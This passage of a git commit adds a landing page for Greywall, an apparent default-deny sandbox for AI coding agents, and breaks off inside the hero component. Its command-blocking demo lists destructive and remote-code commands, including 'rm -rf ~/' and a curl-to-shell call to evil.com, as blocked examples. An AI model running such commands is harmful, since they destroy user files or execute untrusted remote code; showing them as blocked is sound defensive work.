feat: landing page mvp

This commit is contained in:
Nik L
2026-03-09 13:39:15 -04:00
commit 4a1d666ee2
28 changed files with 3441 additions and 0 deletions

6
.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
node_modules/
.next/
out/
.DS_Store
*.tsbuildinfo
next-env.d.ts

183
app/globals.css Normal file
View File

@@ -0,0 +1,183 @@
@import 'tailwindcss';
@import 'tw-animate-css';
@custom-variant dark (&:is(.dark *));
:root {
--background: 240 240 236;
--foreground: 22 22 20;
--card: 249 249 247;
--card-foreground: 22 22 20;
--popover: 249 249 247;
--popover-foreground: 22 22 20;
--primary: 217 94 42;
--primary-foreground: 249 249 247;
--secondary: 240 240 236;
--secondary-foreground: 47 47 44;
--muted: 240 240 236;
--muted-foreground: 87 87 83;
--accent: 221 221 215;
--accent-foreground: 22 22 20;
--destructive: 180 50 50;
--destructive-foreground: 249 249 247;
--border: 196 196 189;
--input: 196 196 189;
--ring: 217 94 42;
--radius: 0.375rem;
}
.dark {
--background: 22 22 20;
--foreground: 249 249 247;
--card: 47 47 44;
--card-foreground: 249 249 247;
--popover: 47 47 44;
--popover-foreground: 249 249 247;
--primary: 217 94 42;
--primary-foreground: 249 249 247;
--secondary: 87 87 83;
--secondary-foreground: 249 249 247;
--muted: 87 87 83;
--muted-foreground: 196 196 189;
--accent: 87 87 83;
--accent-foreground: 249 249 247;
--destructive: 180 50 50;
--destructive-foreground: 249 249 247;
--border: 87 87 83;
--input: 87 87 83;
--ring: 217 94 42;
}
@theme inline {
--font-sans: 'Inter', ui-sans-serif, system-ui, sans-serif;
--font-serif: 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
--color-background: rgb(var(--background));
--color-foreground: rgb(var(--foreground));
--color-card: rgb(var(--card));
--color-card-foreground: rgb(var(--card-foreground));
--color-popover: rgb(var(--popover));
--color-popover-foreground: rgb(var(--popover-foreground));
--color-primary: rgb(var(--primary));
--color-primary-foreground: rgb(var(--primary-foreground));
--color-secondary: rgb(var(--secondary));
--color-secondary-foreground: rgb(var(--secondary-foreground));
--color-muted: rgb(var(--muted));
--color-muted-foreground: rgb(var(--muted-foreground));
--color-accent: rgb(var(--accent));
--color-accent-foreground: rgb(var(--accent-foreground));
--color-destructive: rgb(var(--destructive));
--color-destructive-foreground: rgb(var(--destructive-foreground));
--color-border: rgb(var(--border));
--color-input: rgb(var(--input));
--color-ring: rgb(var(--ring));
--radius-sm: calc(var(--radius) - 2px);
--radius-md: var(--radius);
--radius-lg: calc(var(--radius) + 2px);
--radius-xl: calc(var(--radius) + 4px);
--color-greyhaven-orange: #D95E2A;
--color-greyhaven-offblack: #161614;
--color-greyhaven-offwhite: #F9F9F7;
--color-greyhaven-grey1: #F0F0EC;
--color-greyhaven-grey2: #DDDDD7;
--color-greyhaven-grey3: #C4C4BD;
--color-greyhaven-grey4: #A6A69F;
--color-greyhaven-grey5: #7F7F79;
--color-greyhaven-grey7: #575753;
--color-greyhaven-grey8: #2F2F2C;
}
@layer base {
* {
@apply border-border outline-ring/50;
}
html {
scroll-behavior: smooth;
}
body {
@apply bg-background text-foreground;
}
}
/* Code block styling */
.code-block {
background: rgb(30 30 27);
border: 1px solid rgb(var(--border));
border-radius: var(--radius-lg);
}
/* Subtle glow effect for primary elements */
.glow-orange {
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
}
/* Terminal prompt styling */
.terminal-line::before {
content: '$ ';
color: rgb(var(--muted-foreground));
}
/* Smooth section transitions */
section {
scroll-margin-top: 5rem;
}
/* Custom scrollbar for dark theme */
.dark ::-webkit-scrollbar {
width: 8px;
}
.dark ::-webkit-scrollbar-track {
background: rgb(22 22 20);
}
.dark ::-webkit-scrollbar-thumb {
background: rgb(87 87 83);
border-radius: 4px;
}
/* Animated gradient border */
@keyframes border-glow {
0%, 100% { opacity: 0.3; }
50% { opacity: 0.6; }
}
.border-glow {
animation: border-glow 3s ease-in-out infinite;
}
/* Layer card hover effect */
.layer-card {
transition: all 0.3s ease;
}
.layer-card:hover {
transform: translateY(-2px);
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
}
/* Fade in animation for sections */
@keyframes fade-up {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.animate-fade-up {
animation: fade-up 0.6s ease-out forwards;
}
/* Stagger children */
.stagger-children > * {
opacity: 0;
animation: fade-up 0.5s ease-out forwards;
}
.stagger-children > *:nth-child(1) { animation-delay: 0.1s; }
.stagger-children > *:nth-child(2) { animation-delay: 0.2s; }
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; }

38
app/layout.tsx Normal file
View File

@@ -0,0 +1,38 @@
import type { Metadata } from 'next'
import './globals.css'
export const metadata: Metadata = {
title: 'Greywall — Sandbox for AI Agents',
description:
'Container-free, default-deny sandboxing with real-time observability for AI coding agents. Five defense layers. One command.',
icons: {
icon: [
{ url: '/icon.svg', type: 'image/svg+xml' },
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
],
apple: '/apple-icon.png',
},
}
export default function RootLayout({
children,
}: Readonly<{
children: React.ReactNode
}>) {
return (
<html lang="en" className="dark">
<head>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossOrigin="anonymous" />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Serif+4:ital,opsz,wght@0,8..60,400;0,8..60,500;0,8..60,600;0,8..60,700;1,8..60,400&display=swap"
rel="stylesheet"
/>
</head>
<body className="font-sans antialiased bg-background text-foreground">
{children}
</body>
</html>
)
}

30
app/page.tsx Normal file
View File

@@ -0,0 +1,30 @@
'use client'
import { PlatformProvider } from '@/components/platform-toggle'
import { Nav } from '@/components/nav'
import { Hero } from '@/components/hero'
import { Agents } from '@/components/agents'
import { Problem } from '@/components/problem'
import { Layers } from '@/components/layers'
import { Observability } from '@/components/observability'
import { Control } from '@/components/control'
import { Comparison } from '@/components/comparison'
import { Footer } from '@/components/footer'
export default function Home() {
return (
<PlatformProvider>
<main className="min-h-screen">
<Nav />
<Hero />
<Agents />
<Problem />
<Layers />
<Observability />
<Control />
<Comparison />
<Footer />
</main>
</PlatformProvider>
)
}

58
components/agents.tsx Normal file
View File

@@ -0,0 +1,58 @@
import { CheckCircle2 } from 'lucide-react'
const agents = [
{ name: 'Claude Code', org: 'anthropics' },
{ name: 'Codex', org: 'openai' },
{ name: 'Cursor', org: 'getcursor' },
{ name: 'Aider', org: 'Aider-AI' },
{ name: 'Goose', org: 'block' },
{ name: 'Amp', org: 'sourcegraph' },
{ name: 'Gemini CLI', org: 'google-gemini' },
{ name: 'Cline', org: 'cline' },
{ name: 'OpenCode', org: 'nicepkg' },
{ name: 'Copilot', org: 'github' },
]
export function Agents() {
return (
<section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<CheckCircle2 className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Compatibility
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Works with every agent.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
All agents work perfectly inside their sandbox but can&apos;t impact anything outside
it. No agent-specific configuration needed.
</p>
</div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
{agents.map((agent) => (
<div
key={agent.name}
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
>
<img
src={`https://github.com/${agent.org}.png?size=64`}
alt={agent.name}
width={28}
height={28}
className="rounded-md shrink-0 bg-muted"
/>
<span className="text-sm font-sans font-medium text-foreground truncate">
{agent.name}
</span>
</div>
))}
</div>
</div>
</section>
)
}

288
components/comparison.tsx Normal file
View File

@@ -0,0 +1,288 @@
'use client'
import { ArrowRight, Check, X, Minus } from 'lucide-react'
type CellValue = 'yes' | 'no' | 'partial' | string
interface Row {
feature: string
greywall: CellValue
safehouse: CellValue
claudeSandbox: CellValue
containers: CellValue
}
const rows: Row[] = [
{
feature: 'Linux support',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'yes',
containers: 'yes',
},
{
feature: 'macOS support',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'yes',
containers: 'partial',
},
{
feature: 'Filesystem isolation',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'yes',
containers: 'yes',
},
{
feature: 'Network isolation',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'yes',
containers: 'yes',
},
{
feature: 'Transparent network capture',
greywall: 'Linux',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'no',
},
{
feature: 'Command blocking',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'no',
},
{
feature: 'Real-time violation monitoring',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'no',
},
{
feature: 'Learning mode',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'no',
},
{
feature: 'Works with any agent',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'no',
containers: 'yes',
},
{
feature: 'Sandboxes entire process',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'partial',
containers: 'yes',
},
{
feature: 'Native tool access',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'yes',
containers: 'no',
},
{
feature: 'No image rebuilds on changes',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'yes',
containers: 'no',
},
{
feature: 'Open source',
greywall: 'yes',
safehouse: 'yes',
claudeSandbox: 'partial',
containers: 'yes',
},
{
feature: 'Syscall filtering',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'no',
containers: 'partial',
},
{
feature: 'Dynamic allow/deny',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'partial',
containers: 'no',
},
{
feature: 'No deprecated APIs',
greywall: 'yes',
safehouse: 'no',
claudeSandbox: 'yes',
containers: 'yes',
},
]
function CellIcon({ value }: { value: CellValue }) {
if (value === 'yes') {
return (
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
<Check className="h-3 w-3 text-green-400" />
</span>
)
}
if (value === 'no') {
return (
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
<X className="h-3 w-3 text-red-400/70" />
</span>
)
}
if (value === 'partial') {
return (
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
<Minus className="h-3 w-3 text-yellow-400/70" />
</span>
)
}
return (
<span className="text-xs font-mono text-muted-foreground">{value}</span>
)
}
export function Comparison() {
return (
<section id="comparison" className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="max-w-2xl mb-12">
<div className="flex items-center gap-2 mb-4">
<ArrowRight className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
How it compares
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Not all sandboxes are equal.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Greywall combines filesystem isolation, network control, syscall filtering,
and real-time monitoring in a single tool. Here&apos;s how it stacks up.
</p>
</div>
{/* Desktop table */}
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
<table className="w-full text-sm">
<thead>
<tr className="border-b border-border/40 bg-card/40">
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature
</th>
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
Greywall
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Safehouse
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude Sandbox
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Containers
</th>
</tr>
</thead>
<tbody>
{rows.map((row, i) => (
<tr
key={row.feature}
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
>
<td className="py-3 px-4 font-serif text-sm text-foreground">
{row.feature}
</td>
<td className="py-3 px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.greywall} />
</div>
</td>
<td className="py-3 px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.safehouse} />
</div>
</td>
<td className="py-3 px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.claudeSandbox} />
</div>
</td>
<td className="py-3 px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.containers} />
</div>
</td>
</tr>
))}
</tbody>
</table>
</div>
{/* Mobile cards */}
<div className="md:hidden space-y-2">
{rows.map((row) => (
<div
key={row.feature}
className="p-4 rounded-lg border border-border/30 bg-card/20"
>
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
<div className="grid grid-cols-4 gap-1.5 text-center">
<div>
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
</div>
</div>
</div>
))}
</div>
{/* Legend */}
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
<div className="flex items-center gap-1.5">
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
<Check className="h-3 w-3 text-green-400" />
</span>
Supported
</div>
<div className="flex items-center gap-1.5">
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
<Minus className="h-3 w-3 text-yellow-400/70" />
</span>
Partial
</div>
<div className="flex items-center gap-1.5">
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
<X className="h-3 w-3 text-red-400/70" />
</span>
Not supported
</div>
</div>
</div>
</section>
)
}

245
components/control.tsx Normal file
View File

@@ -0,0 +1,245 @@
'use client'
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const tree = [
{ path: '~/my-project/', access: 'rw', color: 'green' },
{ path: ' src/', access: 'rw', color: 'green' },
{ path: ' package.json', access: 'rw', color: 'green' },
{ path: ' node_modules/', access: 'r', color: 'yellow' },
{ path: '~/shared-lib/', access: 'r', color: 'yellow' },
{ path: '~/.ssh/', access: 'deny', color: 'red' },
{ path: '~/.aws/', access: 'deny', color: 'red' },
{ path: '~/.env', access: 'deny', color: 'red' },
{ path: '~/other-repos/', access: 'deny', color: 'red' },
{ path: '~/Documents/', access: 'deny', color: 'red' },
]
const accessLabels: Record<string, string> = {
rw: 'read/write',
r: 'read-only',
deny: 'denied',
}
function badgeClasses(color: string) {
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
return 'bg-red-400/10 text-red-400/70'
}
function textColor(color: string) {
if (color === 'green') return 'text-green-400/80'
if (color === 'yellow') return 'text-yellow-400/70'
return 'text-red-400/70'
}
export function Control() {
const [platform] = usePlatform()
return (
<section className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<ShieldCheck className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Control
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Default deny. Explicit allow.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Agents inherit your full permissions. Greywall flips this nothing is accessible
unless explicitly granted. Filesystem, network, and commands all start closed.
</p>
</div>
<PlatformToggle />
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
{/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-sm">
{tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1">
<span className={textColor(item.color)}>{item.path}</span>
<span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
>
{accessLabels[item.access]}
</span>
</div>
))}
</div>
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
are always protected even inside allowed directories.
</p>
</div>
{/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
</div>
{platform === 'linux' ? (
<div className="space-y-3 text-sm font-serif">
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Full network namespace isolation</span> the
sandboxed process cannot see the host network at all.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">TUN device captures every packet</span> at the
kernel even binaries that ignore proxy env vars.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Domain-level filtering</span> via GreyProxy.
Allow specific domains, block everything else adjustable live.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">DNS bridging</span> transparent DNS relay
ensures name resolution works inside the sandbox.
</p>
</div>
</div>
) : (
<div className="space-y-3 text-sm font-serif">
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Seatbelt network rules</span> block all outbound
connections except to the proxy address.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Proxy-based routing</span> via env vars. Traffic
from proxy-aware tools is filtered through GreyProxy.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-green-400/70 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Domain-level filtering</span> allow npm
registry and API hosts, block everything else.
</p>
</div>
<div className="flex items-start gap-3">
<div className="w-1.5 h-1.5 rounded-full bg-primary/50 mt-2 shrink-0" />
<p className="text-muted-foreground">
<span className="text-foreground">Localhost control</span> separate config for
port binding and local service access.
</p>
</div>
</div>
)}
</div>
{/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center gap-3">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span>
</div>
<div className="flex items-center gap-3">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span>
</div>
<div className="flex items-center gap-3">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
Detects blocked commands in pipes, chains, and nested shells.
</p>
</div>
{/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>
</div>
<div className="code-block p-4 mb-4">
<div className="space-y-1.5 font-mono text-xs">
<div>
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">
{platform === 'linux' ? 'greywall --learning -- claude' : 'sudo greywall --learning -- claude'}
</span>
</div>
<div className="text-muted-foreground mt-2">
{platform === 'linux' ? 'Tracing with strace...' : 'Tracing with eslogger...'}
</div>
<div className="text-muted-foreground">
Discovered 47 paths, collapsed to 12 rules
</div>
<div className="text-muted-foreground">
Template saved: claude
</div>
<div className="mt-2">
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -- claude</span>
</div>
<div className="text-muted-foreground">
Auto-loaded template: claude
</div>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
{platform === 'linux'
? 'Uses strace to trace filesystem access. No special permissions needed. Auto-generates a template from observed paths.'
: 'Uses macOS Endpoint Security (eslogger) to trace access. Requires sudo for the trace, but the agent runs as your user. Generates a template automatically.'}
</p>
</div>
</div>
<div className="mt-8 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-primary font-medium">Independent enforcement.</span>{' '}
The security layer around your AI tools should be independent of the company selling you
the AI, for the same reason you shouldn&apos;t let a bank audit itself.
</p>
</div>
</div>
</section>
)
}

40
components/footer.tsx Normal file
View File

@@ -0,0 +1,40 @@
export function Footer() {
return (
<footer className="py-12 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl flex flex-col sm:flex-row items-center justify-between gap-4">
<div className="flex items-center gap-2">
<svg viewBox="0 0 32 32" fill="none" className="h-4 w-4" xmlns="http://www.w3.org/2000/svg">
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
</svg>
<span className="font-serif font-semibold text-sm text-foreground">Greywall</span>
<span className="text-xs text-muted-foreground font-sans">by Greyhaven</span>
</div>
<div className="flex items-center gap-6 text-xs text-muted-foreground font-sans">
<a
href="https://github.com/GreyhavenHQ/greywall"
target="_blank"
rel="noopener noreferrer"
className="hover:text-foreground transition-colors"
>
GitHub
</a>
<a
href="https://greyhaven.co"
target="_blank"
rel="noopener noreferrer"
className="hover:text-foreground transition-colors"
>
greyhaven.co
</a>
<span>Apache 2.0</span>
</div>
</div>
</footer>
)
}

View File

@@ -0,0 +1,125 @@
'use client'
import { useState } from 'react'
import { Download, Copy, Check } from 'lucide-react'
import { PlatformToggle, usePlatform } from './platform-toggle'
const linuxSteps = [
{
label: 'Install',
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
},
{
label: 'Dependencies',
cmd: 'sudo apt install bubblewrap socat',
},
{
label: 'Setup proxy',
cmd: 'greywall setup',
},
{
label: 'Run sandboxed',
cmd: 'greywall -- claude',
},
]
const macosSteps = [
{
label: 'Install',
cmd: 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh',
},
{
label: 'Setup proxy',
cmd: 'greywall setup',
},
{
label: 'Run sandboxed',
cmd: 'greywall -- claude',
},
]
export function GettingStarted() {
const [platform] = usePlatform()
const [copiedIdx, setCopiedIdx] = useState<number | null>(null)
const steps = platform === 'linux' ? linuxSteps : macosSteps
function copy(text: string, idx: number) {
navigator.clipboard.writeText(text)
setCopiedIdx(idx)
setTimeout(() => setCopiedIdx(null), 2000)
}
return (
<section id="getting-started" className="py-24 px-6 border-t border-border/30">
<div className="mx-auto max-w-5xl">
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-12">
<div className="max-w-2xl">
<div className="flex items-center gap-2 mb-4">
<Download className="h-4 w-4 text-primary" />
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
Getting started
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
{platform === 'linux' ? 'Four steps. Full isolation.' : 'Three commands. Done.'}
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
{platform === 'linux'
? 'A single Go binary plus two standard packages. No containers, no daemon, no build step.'
: 'A single Go binary. No extra packages, no containers, no daemon. Uses built-in macOS sandboxing.'}
</p>
</div>
<PlatformToggle />
</div>
<div className="space-y-4 max-w-2xl">
{steps.map((step, i) => (
<div key={`${platform}-${i}`} className="flex items-center gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
{i + 1}
</div>
<div className="flex-1 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
{step.label}
</span>
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
{step.cmd}
</code>
<button
onClick={() => copy(step.cmd, i)}
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"
>
{copiedIdx === i ? (
<Check className="h-3.5 w-3.5 text-primary" />
) : (
<Copy className="h-3.5 w-3.5" />
)}
</button>
</div>
</div>
))}
</div>
<div className="mt-10 grid grid-cols-1 sm:grid-cols-3 gap-4 max-w-2xl">
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
<div className="font-mono text-2xl font-semibold text-primary mb-1">
{platform === 'linux' ? '5' : '3'}
</div>
<div className="text-xs text-muted-foreground font-sans">
{platform === 'linux' ? 'Security layers' : 'Enforcement layers'}
</div>
</div>
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
<div className="font-mono text-2xl font-semibold text-primary mb-1">0</div>
<div className="text-xs text-muted-foreground font-sans">Containers needed</div>
</div>
<div className="p-4 rounded-lg border border-border/30 bg-card/20 text-center">
<div className="font-mono text-2xl font-semibold text-primary mb-1">1</div>
<div className="text-xs text-muted-foreground font-sans">Binary to install</div>
</div>
</div>
</div>
</section>
)
}

103
components/hero.tsx Normal file
View File

@@ -0,0 +1,103 @@
'use client'
import { useState } from 'react'
import { Copy, Check, Terminal } from 'lucide-react'
export function Hero() {
const [copied, setCopied] = useState(false)
const installCmd = 'curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh'
function copyInstall() {
navigator.clipboard.writeText(installCmd)
setCopied(true)
setTimeout(() => setCopied(false), 2000)
}
return (
<section className="relative pt-32 pb-24 px-6 overflow-hidden">
{/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */}
<div
className="absolute inset-0 opacity-[0.03]"
style={{
backgroundImage:
'linear-gradient(rgba(249,249,247,1) 1px, transparent 1px), linear-gradient(90deg, rgba(249,249,247,1) 1px, transparent 1px)',
backgroundSize: '64px 64px',
}}
/>
<div className="relative mx-auto max-w-3xl text-center">
<div className="inline-flex items-center gap-2 px-3 py-1 mb-8 rounded-full border border-border/60 bg-card/50 text-xs text-muted-foreground font-sans">
<span className="inline-block w-1.5 h-1.5 rounded-full bg-primary animate-pulse" />
Container-free sandboxing for AI agents
</div>
<h1 className="font-serif text-4xl sm:text-5xl md:text-6xl font-semibold tracking-tight leading-[1.1] mb-6">
Constrain your agents.
<br />
<span className="text-primary">Know what they touch.</span>
</h1>
<p className="text-lg text-muted-foreground leading-relaxed max-w-2xl mx-auto mb-10 font-serif">
OS-native, default-deny sandboxing with real-time visibility into every
file access and network call. No containers. One command.
</p>
{/* Install command */}
<div className="mx-auto max-w-5xl">
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
<span className="text-muted-foreground">$ </span>
{installCmd}
</code>
<button
onClick={copyInstall}
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"
title="Copy to clipboard"
